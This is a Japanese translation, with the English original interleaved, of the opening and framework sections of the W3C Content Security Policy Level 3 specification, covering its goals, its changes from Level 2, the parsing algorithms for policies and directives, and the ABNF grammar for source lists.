1. 序論
◎非規範的この文書は、 `Content Security Policy^en ( “内容~security施策”, または単に “施策” ) — 略して `~CSP@ † — を定義する。 それは、 開発者が自身の~appを種々の仕方で監禁して,[ ~XSS( `cross-site scripting^en )などによる内容~注入~脆弱性の~riskを軽減する/ ~appを実行する際に伴われる特権を抑制する ]ために利用できる~toolである。 ◎ This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.
【 この訳では、[ 原文の[ “`Content Security Policy^en” / “`content security policy^en” / “`CSP^en” / “`csp^en” ]を,一律に~CSPと記すことにする。 】
~CSPは、 内容~注入~脆弱性に抗する前線防御( `first line of defense^en )として意図されたものではなく, 多層防御( `defense-in-depth^en )としての利用に最も適する。 【すなわち、注入~そのものを防ぐのではなく,注入されたものが効果を発揮することを防ぐ。】 それは、 悪意的な注入により生じ得る被害を抑制するが,注意深い[ 入力~検証/出力~符号化法 ]【すなわち,前線防御】 を置き換えるものではない。 ◎ CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
この文書は, `CSP2$r の繰り~~返しであるが、 次の二点を目標にしている:
- ~CSP, ~HTML, ~Fetch 間の相互作用を もっと明瞭に説明する。
- ~modularに拡張するための明瞭な各種~hookを供する。
これは,理想的には、 安定的な中核を形成して,その上に新たな機能性を築けるようにする。
◎ This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.1.1. 例
1.1.1. 実行~制御
~MegaCorp社の~web開発者たちは、 ~XSS攻撃に抗して保護するよう求まれているとする。 彼らが信用する~CDNの生成元から読込まれる~scriptに限り,実行-可能にすることにより、 ~script注入による~riskを軽減できる。 加えて、 彼らの~pageの文脈~下では,どの~pluginも実行させなくしたいとする。 そのような効果は、 次の施策で得られる: ◎ MegaCorp Inc’s developers want to protect themselves against cross-site scripting attacks. They can mitigate the risk of script injection by ensuring that their trusted CDN is the only origin from which script can load and execute. Moreover, they wish to ensure that no plugins can execute in their pages' contexts. The following policy has that effect:
`Content-Security-Policy$h: `script-src$dir https://cdn.example.com/scripts/; `object-src$dir `none$pl
【 長い行を~page横幅に収める都合により, あるいは読みやすくするため、 この訳~全体を通して, ~HTTP~headerの例示~codeでは、 長い行は折返した上で字下げした形で示す — HTTP/1.1 の構文としては、 折返しは許容されないことに注意。 】
1.2. 目標
~CSPが目指すものは: ◎ Content Security Policy aims to do to a few related things:
-
内容~注入~攻撃による~riskを軽減するため、 次についての相応に細かい制御を~web開発者に与える: ◎ Mitigate the risk of content-injection attacks by giving developers fairly granular control over
- 特定の[ `文書$/ `Worker$I ]が,それ自身のために どの資源を要請できるか (および,後続して 自身に埋込めるか/実行できるか)について。 ◎ The resources which can be requested (and subsequently embedded or executed) on behalf of a specific Document or Worker
- ~inlineな~scriptの実行。 ◎ The execution of inline script
- 動的な( `eval()^c その他の類似な構成子を介する)~code実行。 ◎ Dynamic code execution (via eval() and similar constructs)
- ~inlineな~styleの適用。 ◎ The application of inline style
- [ どの生成元が,所与の資源を埋込めるか ]についての細かい制御を~web開発者に与えて、[ 資源が悪意的な文脈~内に埋込まれることを要する攻撃 ( `TIMING$r に述べられた “`Pixel Perfect^en” 攻撃, 等々) ]による~riskを軽減する。 ◎ Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING], for example) by giving developers granular control over the origins which can embed a given resource.
- [ 自身の~appの特権を抑制することを,開発者に許容する ]ための,施策~frameworkを供する。 ◎ Provide a policy framework which allows developers to reduce the privilege of their applications.
- [ ~~外から悪用されている欠陥を検出することを,~web開発者に許容する ]ための,報告-法の仕組みを供する。 ◎ Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.
1.3. ~level 2 からの変更点
この文書は、 `CSP2$r からの発展を述べる。 `CSP2$r からの変更点についての高~levelな概観は: ◎ This document describes an evolution of the Content Security Policy Level 2 specification [CSP2]. The following is a high-level overview of the changes:
- この仕様は、[ 他の仕様(特に `SERVICE-WORKERS-1$r )が,~CSPの各種 要件と制約を より単純に統合できる ]ようにすべく、 `FETCH$r 仕様の用語を通して,土台から書き直された。 ◎ The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSP’s requirements and restrictions with other specifications (and with Service Workers in particular).
-
`child-src$dir ~modelは、 かなり改められた: ◎ The child-src model has been substantially altered:
- `CSP2$r で非推奨にされた `frame-src$dir 指令は,非推奨dでなくなったが、 無い場合は `child-src$dir に先送りされ続ける (それも無い場合は `default-src$dir に先送りされる)。 ◎ The frame-src directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer to child-src if not present (which defers to default-src in turn).
- `worker-src$dir 指令が追加され、 無い場合は `child-src$dir に先送りされる (それも無い場合は, `script-src$dir に, それも無い場合は `default-src$dir に先送りされる)。 ◎ A worker-src directive has been added, deferring to child-src if not present (which likewise defers to script-src and eventually default-src).
-
~URL照合~algoは,今や、 ~secureでない[ ~scheme/~port ]を その~secureな~scheme版に合致するように扱う。 すなわち、 `~source式$ `http://example.com:80^s は `http://example.com:80^s, `https://example.com:443^s の両者に合致することになる。 ◎ The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression http://example.com:80 will match both http://example.com:80 and https://example.com:443.
同様に `self$pl は、 `http_^sc ~schemeの~page上であっても,[ ~pageの生成元の~schemeを[ `https_^sc / `wss_^sc ]に置き換えた生成元 ]にも合致するようにされた。 ◎ Likewise, 'self' now matches https: and wss: variants of the page’s origin, even on pages whose scheme is http.
- ~inlineな[ ~script/~style ]から生成される違反~報告は,今や、 阻止された`資源$vrとして `inline^l を報告するようになった。 同様に,阻止された `eval()^c 実行は、 阻止された`資源$vrとして `eval^l を報告するようになった。 ◎ Violation reports generated from inline script or style will now report "inline" as the blocked resource. Likewise, blocked eval() execution will report "eval" as the blocked resource.
- `manifest-src$dir 指令が追加された。 ◎ The manifest-src directive has been added.
- 新たな `report-to$dir 指令への支持を受けて、 `report-uri$dir 指令は非推奨にされた。 `report-to^dir は、 基盤として `REPORTING$r に依拠する。 ◎ The report-uri directive is deprecated in favor of the new report-to directive, which relies on [REPORTING] as infrastructure.
- `strict-dynamic^pl ~source式は,今や、[ ~page上で実行する~scriptが、 `構文解析-時に挿入され$たものでない `script$e 要素を介して,更に~scriptを読込む ]ことを許容する。 詳細は、 ~strict-dynamic-usageに。 ◎ The 'strict-dynamic' source expression will now allow script which executes on a page to load more script via non-"parser-inserted" script elements. Details are in § 8.2 Usage of "'strict-dynamic'".
- `unsafe-hashes$pl ~source式は,今や、[ ~event~handler / ~style属性 / `javascript_^sc ~navi~target ]が~hashに合致することを許容する。 詳細は、 § `unsafe-hashes^pl の用法 に。 ◎ The 'unsafe-hashes' source expression will now allow event handlers, style attributes and javascript: navigation targets to match hashes. Details in § 8.3 Usage of "'unsafe-hashes'".
- `~source式$の照合では、 `局所~scheme$のみならず,[ 保護される資源の~schemeと同じでない どの非`~HTTP_S~scheme$も明示的に在る ]ことが要求されるようになった — `~URLは ( 生成元, ~redirect回数 ) について式に合致するか?$A を見よ。 ◎ The source expression matching has been changed to require explicit presence of any non-HTTP(S) scheme, rather than local scheme, unless that non-HTTP(S) scheme is the same as the scheme of protected resource, as described in § 6.7.2.8 Does url match expression in origin with redirect count?.
- ~hashに基づく~source式は,今や、 外部~scriptに合致し得る — 要請を誘発する当の `script$e 要素が[ 完全性~metadataたちが成す集合を指定していて,それが現在の施策~内に~listされている ]ならば。 詳細は、 `§ ~hashを介して外部~JSを許容する@#external-hash$ を見よ。 ◎ Hash-based source expressions may now match external scripts if the script element that triggers the request specifies a set of integrity metadata which is listed in the current policy. Details in § 8.4 Allowing external JavaScript via hashes.
- ~inline違反~用に生成される報告は、 関連な指令が `report-sample$pl 式を包含する場合には, 空でない`見本$vrを包含することになる。 ◎ Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression.
【この訳に特有な表記規約】
◎表記記号記号[ ~EQ, ~NEQ, ~IN, ~NIN ]に添えられる “`大小無視@sub” は、 記号の意味を `~ASCII大小無視$による比較に基づくように改めることを表す。 (他が指定されない限り、 文字列は`一致する$かどうかに基づいて比較される。)
~protocol要素 `ALPHA@P, `DIGIT@P, `VCHAR@P は、 `RFC5234$r `§ B.1@~RFCx/rfc5234.html#appendix-B.1$ にて定義される。 尚,これらを含む他の仕様に定義される~protocol要素は — 実際には~byte列を表現しているものが多いが — この仕様の中では,`同型に復号する$ことを通して`~ASCII文字列$と暗黙的に同一視される (構文解析-時に,そのように復号される)。 (この仕様に現れる~protocol要素は、 どれも,~ASCII範囲の[ ~byte/文字 ]のみからなる。)
次に挙げる符号位置も利用される:
表記 | 符号位置 |
---|---|
`~asterisk@ | `002A^U `ASTERISK^cn ( `*^l ) |
`~semicolon@ | `003B^U `SEMICOLON^cn ( `;^l ) |
`~slash@ | `002F^U `SOLIDUS^cn ( `/^l ) |
`~comma@ | `002C^U `COMMA^cn ( `,^l ) |
次に挙げる~styleが表記に用いられる:
- `production^p — ~protocol要素( ABNF 生成規則)
- `example-directive$dir — ~CSP`指令$
- `literal^l — ~literalとして与えられる文字列(引用符は~dataに含まれない)
- `literal^pl — ~literalとして与えられる文字列。 引用符も~dataに`含まれる^em。
- `Example-Header^h — ~HTTP~header名
- `element^e — ~HTML要素
- `attribute^a — ~HTML内容~属性
- `idl-construct^I — 他の~code類(~IDL属性など)
- `sample-code^s — (地の文の中の)見本~code類
長い行を~page横幅に収める都合により, あるいは読みやすくするため、 ~HTTP~headerの例示~codeでは、 長い行は折返した上で,字下げした形で示される — HTTP/1.1 の構文としては、 折返しは許容されないことに注意。
2. ~framework
2.1. 基盤
この文書は、 `RFC5234$r に定義される~ABNF文法を利用して構文を指定する。 また、 `RFC9110$r `§ 5.6.1@~HTTPinfra#abnf.extension$ に定義される `#規則^ ~ABNF拡張にも依拠する — ただし、 その `OWS^P を `optional-ascii-whitespace$p に置換するように改変する。 すなわち、 この文書に利用される `#規則@ は、 所与の ( ~protocol要素 %element ) に対し,次で定義される: ◎ This document uses ABNF grammar to specify syntax, as defined in [RFC5234]. It also relies on the #rule ABNF extension defined in Section 5.6.1 of [RFC9110], with the modification that OWS is replaced with optional-ascii-whitespace. That is, the #rule used in this document is defined as:
1#%element => %element *( `optional-ascii-whitespace$p "," `optional-ascii-whitespace$p %element )
各[ 整数 %n ~GTE 1, 整数 %m ~GTE 1 ]に対し: ◎ and for n >= 1 and m > 1:
<%n>#<%m>%element => %element <%n-1>*<%m-1>( `optional-ascii-whitespace$p "," `optional-ascii-whitespace$p %element )
この文書の~algoと注釈文に利用する いくつかの基礎的な概念は、 `INFRA$r に依存する。 ◎ This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA].
次の定義は、 この文書~内の他の定義の可読性を向上するために利用される: ◎ The following definitions are used to improve readability of other definitions in this document.
`optional-ascii-whitespace@p = *( `09^hex / `0A^hex / `0C^hex / `0D^hex / `20^hex ) `required-ascii-whitespace@p = 1*( `09^hex / `0A^hex / `0C^hex / `0D^hex / `20^hex )
これらの生成規則は、 `INFRA$r による`~ASCII空白$の定義に合致する。 ◎ ; These productions match the definition of ASCII whitespace from the INFRA standard.
2.2. 施策
`施策@ は、[ 許容される/制約される ]挙動たちを定義する。 それを適用し得るのは[ `Document$I / `WorkerGlobalScope$I / `WorkletGlobalScope$I ]である。 ◎ A policy defines allowed and restricted behaviors, and may be applied to a Document, WorkerGlobalScope, or WorkletGlobalScope.
各 `施策$には、 次に挙げるものが結付けられる: ◎ ↓
- `指令~集合@ ( `directive set^en ) ◎ Each policy has an associated directive set,\
- `指令$たちが成す`有順序~集合$ ◎ which is an ordered set of directives\
- これらは、 この施策が適用されたときの含意を定義する。 ◎ that define the policy’s implications when applied.
- 【 この集合を成す各`指令$の`名前$は、 この集合~内で一意になる (そうなるよう,構文解析-時に施行される)。 】
- `処置先@ ( `disposition^en ) ◎ Each policy has an associated disposition,\
- `enforce^l / `report^l ◎ which is either "enforce" or "report".
- 【 順に,[ 施策を施行する/施策~違反を報告する ]ことに対応する。 】
- `~source@ ( `source^en ) ◎ Each policy has an associated source,\
- `header^l / `meta^l ◎ which is either "header" or "meta".
- 【 順に,当の施策は[ ~HTTP~header/ `meta^e 要素 ]により与えられたことを表す。 】
- `自己-生成元@ ( `self-origin^en ) ◎ Each policy has an associated self-origin,\
- ある`生成元$ ◎ which is an origin\
- `self$pl ~keywordと照合するときに利用される。 ◎ that is used when matching the 'self' keyword.
- 注記: これは、[[ 文書/~worker ]が`局所的$urlな~URL【!`局所~scheme$】にあって, 施策を継承したが`不透明な生成元$を伴うとき ]に `self$pl 検査を手助けするために必要になる。 ほとんどの場合、 これは単純に`環境~設定群~obj$の`生成元$enVになる。 ◎ Note: This is needed to facilitate the 'self' checks of local scheme documents/workers that have inherited their policy but have an opaque origin. Most of the time this will simply be the environment settings object’s origin.
単独の資源に対し適用し得る`施策$は、 複数個あり得る — それらは、 ある`~CSP~list$の中へ収集される。 ◎ Multiple policies can be applied to a single resource, and are collected into\
`~CSP~list@ は、 `施策$たちが成す`~list$である。 ◎ a list of policies known as a CSP list.
所与の`~CSP~list$が `~headerにより送達された~CSPを包含して@ いるとは、 次を満たす`施策$を`包含して$いることをいう ⇒ その`~source$ ~EQ `header^l ◎ A CSP list contains a header-delivered Content Security Policy if it contains a policy whose source is "header".
`直列形の~CSP@ ( `serialized CSP^en )は、 次の`~ABNF$文法を固守している`~ASCII文字列$であり, `~semicolon$で区切られた一連の`直列形の指令$からなる: ◎ A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:
`serialized-policy@p = `serialized-directive$p *( `optional-ascii-whitespace$p ";" [ `optional-ascii-whitespace$p `serialized-directive$p ] )
`直列形の~CSP~list@ は、 次の`~ABNF$文法を固守している`~ASCII文字列$であり, `~comma$で区切られた一連の`直列形の~CSP$からなる: ◎ A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs, adhering to the following ABNF grammar [RFC5234]:
`serialized-policy-list@p = 1#`serialized-policy$p
この~ABNFにおける '`#^P' は、 この仕様が定義する`#規則$に従うとする。 ◎ ; The '#' rule is the one defined in section 5.6.1 of RFC 9110 ; but it incorporates the modifications specified ; in section 2.1 of this document.
2.2.1. 直列形の~CSPを構文解析する
`直列形の~CSPを構文解析する@A ときは、 所与の ( [ `~byte列$/`文字列$ ] %直列形, `~source$ %~source, `処置先$ %処置先 ) に対し,以下を実行する: ◎ To parse a serialized CSP, given a byte sequence or string serialized, a source source, and a disposition disposition, execute the following steps.
この~algoは、 ある`施策$を返す — %直列形 を構文解析できなかった場合、 返される`施策$の`指令~集合$は空になる。 ◎ This algorithm returns a Content Security Policy object. If serialized could not be parsed, the object’s directive set will be empty.
- ~IF[ %直列形 は`~byte列$である ] ⇒ %直列形 ~SET `同型に復号する$( %直列形 ) ◎ If serialized is a byte sequence, then set serialized to be the result of isomorphic decoding serialized.
- %指令~集合 ~LET 新たな`有順序~集合$ ◎ Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.
-
`区切子で厳密に分割する$( %直列形, `~semicolon$ ) — その結果を成す ~EACH( %~token ) に対し: ◎ For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (;):
- ~IF[ %~token は`~ASCII文字列$でない ] ⇒ ~CONTINUE ◎ ↓
- %~list ~LET `~ASCII空白で分割する$( %~token ) ◎ ↓
- ~IF[ %~list は空である ] ⇒ ~CONTINUE ◎ Strip leading and trailing ASCII whitespace from token. ◎ If token is an empty string, or if token is not an ASCII string, continue.
- %指令~名 ~LET %~list[ 0 ] ◎ Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.
-
%指令~名 ~SET `~ASCII小文字~化する$( %指令~名 ) ◎ Set directive name to be the result of running ASCII lowercase on directive name.
注記: %指令~名 は大小無視である。 例えば[ `script-SRC 'none'^s, `ScRiPt-sRc 'none'^s ]は、 等価になる。 ◎ Note: Directive names are case-insensitive, that is: script-SRC 'none' and ScRiPt-sRc 'none' are equivalent.
-
~IF[ %指令~集合 内に[ `名前$ %指令~名 を伴う`指令$ ]は在る ] ⇒ ~CONTINUE ◎ If policy’s directive set contains a directive whose name is directive name, continue.
注記: この事例では、 ~UAは,重複な指令が無視されたことを~web開発者に通知するベキである。 例えば,~consoleによる警告が適切になるであろう。 ◎ Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.
- %指令~値 ~LET %~list から先頭の~itemを除去した結果の~list ◎ Let directive value be the result of splitting token on ASCII whitespace.
- %指令~集合 に新たな`指令$( %指令~名, %指令~値 ) を`付加する$set ◎ Let directive be a new directive whose name is directive name, and value is directive value. ◎ Append directive to policy’s directive set.
【 この訳では、 より簡明になるよう,この反復~内の一部を等価な形に改めている。 】
- ~RET 新たな`施策$ — その ⇒# `指令~集合$ ~SET %指令~集合, `~source$ ~SET %~source, `処置先$ ~SET %処置先 ◎ Return policy.
2.2.2. %応答 の~CSPを構文解析する
`応答の~CSPを構文解析する@A ときは、 所与の ( `応答$ %応答 ) に対し,以下を実行する: ◎ To parse a response’s Content Security Policies given a response response, execute the following steps.
この~algoは、 `施策$たちが成す`~list$を返す — 構文解析できる施策が無かった場合、 結果は空になる。 ◎ This algorithm returns a list of Content Security Policy objects. If the policies cannot be parsed, the returned list will be empty.
- %施策~群 ~LET 新たな`~list$ ◎ Let policies be an empty list.
- %~token群 ~LET `~header~listから値を抽出する$A( %応答 の`~header~list$rs, `Content-Security-Policy$h ) ◎ For each token returned by extracting header list values given Content-Security-Policy and response’s header list:
-
%~token群 を成す ~EACH( %~token ) に対し: ◎ ↑
- %施策 ~LET `直列形の~CSPを構文解析する$A( %~token, `header^l, `enforce^l ) ◎ Let policy be the result of parsing token, with a source of "header", and a disposition of "enforce".
- ~IF[ %施策 の`指令~集合$は空でない ] ⇒ %施策~群 に %施策 を`付加する$ ◎ If policy’s directive set is not empty, append policy to policies.
- %~token群 ~SET `~header~listから値を抽出する$A( %応答 の`~header~list$rs, `Content-Security-Policy-Report-Only$h ) ◎ For each token returned by extracting header list values given Content-Security-Policy-Report-Only and response’s header list:
-
%~token群 を成す ~EACH( %~token ) に対し: ◎ ↑
- %施策 ~LET `直列形の~CSPを構文解析する$A( %~token, `header^l, `report^l ) ◎ Let policy be the result of parsing token, with a source of "header", and a disposition of "report".
- ~IF[ %施策 の`指令~集合$は空でない ] ⇒ %施策~群 に %施策 を`付加する$ ◎ If policy’s directive set is not empty, append policy to policies.
- %施策~群 を成す ~EACH( %施策 ) に対し ⇒ %施策 の`自己-生成元$ ~SET %応答 の`~URL$rsの`生成元$url ◎ For each policy of policies: • Set policy’s self-origin to response’s url's origin.
- ~RET %施策~群 ◎ Return policies.
注記: ~UAは、 この~algoの結果が空になったか否かを指示する~flagを保持することにより,[ `~headerにより送達された~CSPを包含して$いるか否か~~検査する~~作業を~~省く ]よう最適化できる。 ◎ Note: When parsing a response’s Content Security Policies, if the resulting policies end up containing at least one item, user agents can hold a flag on policies and use it to optimize away the contains a header-delivered Content Security Policy algorithm.
2.3. 指令
各`施策$は、 `指令$たちが成す`有順序~集合$(`指令~集合$)を包含する — 各`指令$は、 特定の挙動を制御する。 この文書にて定義される各種~指令の詳細は、 `§ ~CSP指令@#csp-directives$ にて述べられる。 ◎ Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives defined in this document are described in detail in § 6 Content Security Policy Directives.
各 `指令@ ( `directive^en )は、 次の 2 つからなる~pairである:
- `名前@ ( `name^en ) ⇒ 空でない`文字列$
- `値@ ( `value^en ) ⇒ [ 空でない`文字列$ ]たちが成す`有順序~集合$
所与の ( `名前$ %名前, `値$ %値 ) からなる`指令$は, `指令$( %名前, %値 ) とも記される。
`直列形の指令@ ( `serialized-directive$p )は、 次の`~ABNF$文法を固守している`~ASCII文字列$であり, 空白で区切られた 1 個以上の~tokenからなる: ◎ A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:
`serialized-directive@p = `directive-name$p [ `required-ascii-whitespace$p `directive-value$p ] `directive-name@p = 1*( `ALPHA$P / `DIGIT$P / "-" ) `directive-value@p = *( `required-ascii-whitespace$p / ( `21^hex-`2B^hex / `2D^hex-`3A^hex / `3C^hex-`7E^hex ) )
指令~値( `directive-value$p )は、[ 空白/上の定義の後半部が表現する[ `~semicolon$, `~comma$ ]以外のすべての `VCHAR$P 文字( `21^hex 〜 `7E^hex ) ]を包含してもヨイ。 ◎ ; Directive values may contain whitespace and VCHAR characters, ; excluding ";" and ",". The second half of the definition ; above represents all VCHAR characters (%x21-%x7E) ; without ";" and "," (%x3B and %x2C respectively) ◎ ; ALPHA, DIGIT, and VCHAR are defined in Appendix B.1 of RFC 5234.
各 `指令$には、 次に挙げる~algoが結付けられる: ◎ Directives have a number of associated algorithms:
【 各~algoには、 挙げられた引数の他にも,当の指令が暗黙的に渡される。 】
- `要請前~検査@A ( `pre-request check^en ) ◎ A pre-request check,\
- 次を引数にとる ⇒# `要請$, `施策$ ◎ which takes a request and a policy as an argument,\
- 次を行う間に実行される ⇒ `要請は~CSPにより阻止されるべきか?$A ◎ and is executed during § 4.1.2 Should request be blocked by Content Security Policy?.\
-
他が指定されない限り,この~algoは `許容される^i を返す。 ◎ This algorithm returns "Allowed" unless otherwise specified.
【 すなわち、[ 当の指令の`名前$用に,この~algoが定義されていない場合 ]には,[ `許容される^i を返す以外は何もしない~algo ]が指定されたものと見なされる。 以下も同様。 】
- `要請後~検査@A ( `post-request check^en ) ◎ A post-request check,\
- 次を引数にとる ⇒# `要請$, `応答$, `施策$ ◎ which takes a request, a response, and a policy as arguments,\
- 次を行う間に実行される ⇒ `要請に対する応答は~CSPにより阻止されるべきか?$A ◎ and is executed during § 4.1.3 Should response to request be blocked by Content Security Policy?.\
- 他が指定されない限り,この~algoは `許容される^i を返す。 ◎ This algorithm returns "Allowed" unless otherwise specified.
- `~inline検査@A ( `inline check^en ) ◎ An inline check,\
- 次を引数にとる ⇒# `要素$, 型~文字列, `施策$, ~source文字列 ◎ which takes an Element, a type string, a policy, and a source string as arguments,\
- 次を行う間に実行される ⇒# `要素における~inlineな型の挙動は~CSPにより阻止されるべきか?$A ◎ and is executed during § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?\
- `javascript_^sc 要請~用には,次を行う間に実行される ⇒ `ある種別の~navi要請は~CSPにより阻止されるべきか?$A ◎ and during § 4.2.4 Should navigation request of type be blocked by Content Security Policy? for javascript: requests.\
- 他が指定されない限り,この~algoは `許容される^i を返す。 ◎ This algorithm returns "Allowed" unless otherwise specified.
- `初期化@A ( `initialization^en ) ◎ An initialization,\
- 次を引数にとる ⇒# `文書$または`大域~obj$, `施策$ ◎ which takes a Document or global object and a policy as arguments.\
- 次を行う間に実行される ⇒# `文書~用に~CSP初期化を走らす$A/ `大域~obj用に~CSP初期化を走らす$A ◎ This algorithm is executed during § 4.2.1 Run CSP initialization for a Document and § 4.2.6 Run CSP initialization for a global object.\
- 他が指定されない限り,この~algoは `許容される^i を返す。 ◎ Unless otherwise specified, it has no effect and it returns "Allowed".
- `~navi前~検査@A ( `pre-navigation check^en ) ◎ A pre-navigation check,\
- 次を引数にとる ⇒# `要請$, ~navi種別~文字列 ~IN { `form-submission^l, `other^l }, `施策$ ◎ which takes a request, a navigation type string ("form-submission" or "other"), and a policy as arguments,\
- 次を行う間に実行される ⇒ `ある種別の~navi要請は~CSPにより阻止されるべきか?$A ◎ and is executed during § 4.2.4 Should navigation request of type be blocked by Content Security Policy?.\
- 他が指定されない限り,この~algoは `許容される^i を返す。 ◎ It returns "Allowed" unless otherwise specified.
- `~navi応答~検査@A ( `navigation response check^en ) ◎ A navigation response check,\
- 次を引数にとる ⇒# `要請$, ~navi種別~文字列 ~IN { `form-submission^l, `other^l }, `応答$, `~navigable$, 検査~種別~文字列 ~IN { `source^l, `response^l }, `施策$ ◎ which takes a request, a navigation type string ("form-submission" or "other"), a response, a navigable, a check type string ("source" or "response"), and a policy as arguments,\
- 次を行う間に実行される ⇒ `~targetにおける ある種別の~navi要請に対する応答は~CSPにより阻止されるべきか?$A ◎ and is executed during § 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy?.\
- 他が指定されない限り,この~algoは `許容される^i を返す。 ◎ It returns "Allowed" unless otherwise specified.
- `~WebRTC接続前~検査@A ( `webrtc pre-connect check^en ) ◎ A webrtc pre-connect check,\
- 次を引数にとる ⇒# `施策$ ◎ which takes a policy,\
- 次を行う間に実行される ⇒ `~WebRTC接続は大域~objに対し阻止されるべきか?$A ◎ and is executed during § 4.3.1 Should RTC connections be blocked for global?.\
- 他が指定されない限り,この~algoは `許容される^i を返す。 ◎ It returns "Allowed" unless otherwise specified.
2.3.1. ~source~list
各種 `指令$のうち,多くのものは、 `~source~list@ ( `serialized-source-list$p )をその`値$にとる。 各`~source~list$は、 `文字列$たちが成す集合である — この~listを成す各`文字列$は、[ ~fetchし得る内容であって[ 埋込まれ得る/実行され得る ]ものを識別するもの ]であり,次に挙げるいずれかの型の `~source式@ ( `source-expression$p )を表現する: ◎ Many directives' value consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression:
- ~keyword `none$pl (何にも合致しない) ◎ ↓
- 他の~keyword( `keyword-source$p ) — 例 ⇒ `self$pl (現在の~URLの生成元に合致する) ◎ Keywords such as 'none' and 'self' (which match nothing and the current URL’s origin, respectively)
- 直列形の~URL( `scheme-part$p を伴う `host-source$p ) — 例 ⇒# `https://example.com/path/to/file.js^s (特定の資源に合致する)/ `https://example.com/^s (その生成元に属する どの資源にも合致する) ◎ Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)
- ~scheme( `scheme-source$p ) ⇒ 指定された~schemeを有する どの資源にも合致する — 例 ⇒ `https:^s ◎ Schemes such as https: (which matches any resource having the specified scheme)
- ~host( `scheme-part$p を伴わない `host-source$p ) — 例 ⇒# `example.com^s (~schemeに関わらず,~host上の どの資源にも合致する)/ `*.example.com^s (~hostの下位domain(下位domainの下位domain, 等々も含む)上の どの資源にも合致する) ◎ Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the host’s subdomains (and any of its subdomains' subdomains, and so on))
- ~nonce( `nonce-source$p ) ⇒ ~page上の特定の要素に合致し得る — 例 ⇒ `nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA^pl ◎ Nonces such as 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA' (which can match specific elements on a page)
- ~digest( `hash-source$p ) ⇒ ~page上の特定の要素に合致し得る — 例 ⇒ `sha256-abcd...^pl ◎ Digests such as 'sha256-abcd...' (which can match specific elements on a page)
`直列形の~source~list@ ( `serialized-source-list$p ) は、 次の`~ABNF$文法を固守している`~ASCII文字列$であり, 空白で区切られた一連の`~source式$からなる: ◎ A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:
`serialized-source-list@p = ( `source-expression$p *( `required-ascii-whitespace$p `source-expression$p ) ) / "`none@pl" `source-expression@p = `scheme-source$p / `host-source$p / `keyword-source$p / `nonce-source$p / `hash-source$p ; ~scheme ~source式: ; `https:^l ; / `custom-scheme:^l ; / `another.custom-scheme:^l `scheme-source@p = `scheme-part$p ":" ; ~host ~source式: ; `example.com^l ; / `*.example.com^l ; / `https://*.example.com:12/path/to/file.js^l `host-source@p = [ `scheme-part$p "://" ] `host-part$p [ ":" `port-part$p ] [ `path-part$p ] `scheme-part@p = `scheme$p ; scheme is defined in section 3.1 of RFC 3986. `host-part@p = "*" / [ "*." ] 1*`host-char$p *( "." 1*`host-char$p ) [ "." ] `host-char@p = `ALPHA$P / `DIGIT$P / "-" `port-part@p = 1*`DIGIT$P / "*" `path-part@p = `path-absolute$p (ただし、 `~semicolon$, `~comma$は含まない) ◎ (but not including ";" or ",") ; path-absolute is defined in section 3.3 of RFC 3986. ; ~keyword ~source式: `keyword-source@p = "`self@pl" / "`unsafe-inline@pl" / "`unsafe-eval@pl" / "`strict-dynamic@pl" / "`unsafe-hashes@pl" / "`report-sample@pl" / "`unsafe-allow-redirects@pl" / "`wasm-unsafe-eval@pl" / "`report-sha256@pl" / "`report-sha384@pl" / "`report-sha512@pl" 【! *ISSUE: Bikeshed unsafe-allow-redirects.】 ; ~nonce ~source式: ; `'nonce-[nonce goes here]'^s `nonce-source@p = "'nonce-" `base64-value$p "'" `base64-value@p = 1*( `ALPHA$P / `DIGIT$P / "+" / "/" / "-" / "_" )*2( "=" ) ; ~digest ~source式: ; `'sha256-[digest goes here]'^s `hash-source@p = "'" `hash-algorithm$p "-" `base64-value$p "'" `hash-algorithm@p = "sha256" / "sha384" / "sha512"
【 `unsafe-allow-redirects$pl は、 それを利用していた `navigato-to^dir 指令がこの仕様から除去されたため(`563$issue), もはや無用かもしれない。 】
